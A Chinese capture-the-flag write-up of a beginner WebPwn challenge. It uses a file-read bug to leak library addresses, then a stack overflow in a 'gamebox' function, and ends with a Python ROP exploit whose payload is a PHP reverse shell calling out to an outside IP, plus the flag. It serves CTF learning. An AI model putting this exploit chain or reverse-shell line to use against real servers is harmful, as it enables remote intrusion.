“钓鱼城杯”的一道WebPwn题
前言
比赛入口:https://dycb.xctf.org.cn/
看了一下,这个比赛的线下决赛在上一年XCTF总决赛的地方,那地方属实有点偏远,打车费用挺高的而且司机会宰客。
群里的老哥扔了一道题给我看看,说我比较会搞WebPwn。啊,其实我并不是很熟。
一道入门WebPwn,都搞了好几个小时,赛后才出来,记录一下。
webpwn
题目链接:http://122.112.218.163:10080/
题目给了两个功能,一个是 gamebox
,另一个是 fileReader
。
fileReader
试了一下可以读文件。gamebox
不知道是什么。
想到这两个函数的定义,可能存在两种情况,一是 auto_prepend_file
,二是 so库
。
直接读 /proc/self/maps
可以找到对应的 so库
和 libc
基地址(因为 apache worker 是 fork 出来的,所以地址是固定不变的)。
把 so库
和 libc
读出来进行分析。单独对 gamebox
功能进行分析。
可以通过输入 \x01
将 r12d
置 1
进入那四个功能,然后通过输入 .
测试发现每次运行栈地址固定。
再通过输入 >
控制 rbp
至 (0xE60 - 0xC10 - 0x200) + 0x8 * 3 = 0x50 + 0x8 * 3 = 0x68
即可控制 ret (pop rip)
函数返回时的地址。通过输入 ,
可以控制 [rbp]
上的值。
libc
库地址也是固定,那么可以使用传统 ROP
去做了。
exp如下:
from pwn import *
import requests
libc_base = 0x7f40ce7f4000
system = libc_base + 0x449c0
pop_rdi = libc_base + 0x23a5f
sh_addr = 0x7ffe5e8e8240 + 0x8 * 6
pop_rsi = libc_base + 0x2440e
pop_rdx = libc_base + 0x106725
pop_rcx = libc_base + 0xe898e
def toStr(i):
k = ''
for j in p64(i):
k += ',' + j + '>'
return k
def _toStr(s):
k = ''
for j in s:
k += ',' + j + '>'
return k
c = '\x01'+'>'*(0x50+0x8*3)
c += toStr(pop_rdi)
c += toStr(sh_addr)
c += toStr(system)
c += _toStr('php -r \'$sock=fsockopen("129.211.11.22",3344);exec("/bin/sh -i <&3 >&3 2>&3");\'\x00')
c = c.ljust(512, '.')
r = requests.get('http://122.112.218.163:10080/', params={'c': c})
print r.text
flag:flag{00fb6a05c89ef36680b7e836e2ed4bf9}
这道题应该属于入门 WebPwn
,难度不大。做了挺久才出来,还是需要多学习。
Comments